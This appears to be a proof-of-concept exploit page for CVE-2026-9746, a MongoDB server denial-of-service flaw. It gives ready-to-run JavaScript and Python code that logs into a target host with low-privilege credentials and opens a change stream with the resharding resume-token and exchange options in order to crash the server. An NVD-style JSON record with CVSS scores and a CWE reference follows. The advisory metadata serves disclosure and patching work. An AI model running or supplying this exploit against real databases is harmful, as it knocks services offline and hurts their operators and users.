CVE-2026-9746

// CVE-2026-9746 PoC - MongoDB Server DoS via changestreams // Requires low-privilege user with read access const { MongoClient } = require('mongodb'); async function exploitCVE20269746() { const uri = 'mongodb://user:password@target-host:27017/admin'; const client = new MongoClient(uri, { useUnifiedTopology: true, serverSelectionTimeoutMS: 5000 }); try { await client.connect(); console.log('[+] Connected to MongoDB server'); const db = client.db('test'); const collection = db.collection('test_collection'); // Create a changestream with the malicious combination // $_requestReshardingResumeToken + exchange option triggers the crash const changeStream = collection.watch([ { $match: { operationType: { $in: ['insert', 'update', 'delete'] } } } ], { fullDocument: 'updateLookup', fullDocumentBefore: 'whenAvailable', // Malicious combination that triggers the vulnerability $_requestReshardingResumeToken: true, $_exchange: { producer: { namespace: 'test.producer', on: 'field' }, consumer: { namespace: 'test.consumer', on: 'field' } } }); console.log('[+] Changestream created - vulnerability triggered'); console.log('[+] Server should crash due to invariant failure'); // Wait for potential response await new Promise(resolve => setTimeout(resolve, 3000)); await changeStream.close(); } catch (error) { console.log('[-] Error or server crashed:', error.message); } finally { await client.close(); } } // Alternative Python PoC using pymongo /* from pymongo import MongoClient import sys def exploit_cve_2026_9746(): try: client = MongoClient('mongodb://user:pass@target:27017/', serverSelectionTimeoutMS=5000) db = client['test'] collection = db['test_collection'] # Trigger the vulnerability with malformed resume token + exchange pipeline = [] options = { 'fullDocument': 'updateLookup', '$_requestReshardingResumeToken': True, '$_exchange': { 'producer': {'namespace': 'test.producer', 'on': '_id'}, 'consumer': {'namespace': 'test.consumer', 'on': '_id'} } } with collection.watch(pipeline, **options) as stream: print('[+] Exploit sent - waiting for server response') stream.next(timeout=5) except Exception as e: print(f'[-] Server response: {e}') if __name__ == '__main__': exploit_cve_2026_9746() */ exploitCVE20269746();

{"cve": {"id": "CVE-2026-9746", "sourceIdentifier": "[email protected]", "published": "2026-06-09T23:17:03.980", "lastModified": "2026-06-10T19:43:28.857", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "When using $changestreams and $_requestReshardingResumeToken with the exchange option the server hits an invariant which causes the server to crash. There are no special privileges needed. The user must be logged in to issue the statement."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-617"}]}], "references": [{"url": "https://jira.mongodb.org/browse/SERVER-124190", "source": "[email protected]"}]}}